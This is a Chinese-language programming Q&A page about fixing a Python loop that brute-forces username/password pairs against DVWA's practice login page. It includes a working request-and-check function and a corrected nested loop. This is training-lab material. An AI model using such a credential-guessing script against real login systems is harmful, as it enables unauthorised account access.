python - dvwa 暴力破解的 Python 循环
问题描述
试图让用户:在 python 中通过 bruteforce 进行 dvwa 练习
我想做的是:
我在列表中有 10 个密码和 10 个用户名[]
循环应该取一个用户名并尝试所有 10 个密码,然后是第二个用户名并执行相同操作
这是我正在使用的代码
u=0
p=0
try:
while True:
for _ in usernames:
user = usernames[u]
u+=1
for _ in passwords:
passwd = passwords[p]
brute(user, passwd)
print("trying password on %s : %s " % (user, passwd), end="\r")
p+=1
except IndexError:
pass
它在尝试第一个用户名上的所有密码后停止并结束程序。
我在这里做错了什么?, 向新手程序员道歉
蛮力功能
def brute(user, passwd):
hit = session.get(target + 'vulnerabilities/brute/?username=%s&password=%s&Login=Login' % (user, passwd))
soup = BeautifulSoup(hit.text, 'html.parser')
if str(soup.p) == "<p>Welcome to the password protected area admin</p>":
print('login success =>')
return True
return False
解决方案
您忘记p=0
在密码循环之前进行设置。因此,它IndexError
在第二个用户和第一个密码的迭代中给出了一个。
顺便说一句,您的代码可以简化为:
for username in usernames:
for password in passwords:
print("trying password on %s : %s " % (username, password), end="\r")
brute(username, password)
推荐阅读
- python - 如何在 Pandas 中找到日期的财政周
- python - 如何在字符串上并行化 .apply 在 pandas 中?
- python - 在 apache2/windows 上以 wsgi 模式执行的 python3 烧瓶应用程序的问题
- elasticsearch - Kibana 无法加载仪表板的问题(退出:资源 'metricbeat-7.5.0' 存在,但它不是别名)
- python - 如何修改我的 python 套接字服务器代码以适应两个客户端?
- javascript - 如何在 javascript 中将二维数组作为参数传递?
- python - 如何为图像帧中的每个垂直分辨率分辨率单元分配角度?
- php - Yii2 不为空条件的左连接查询
- python - Spyder中的Python For循环调试
- git - git rebase 在上游变得无效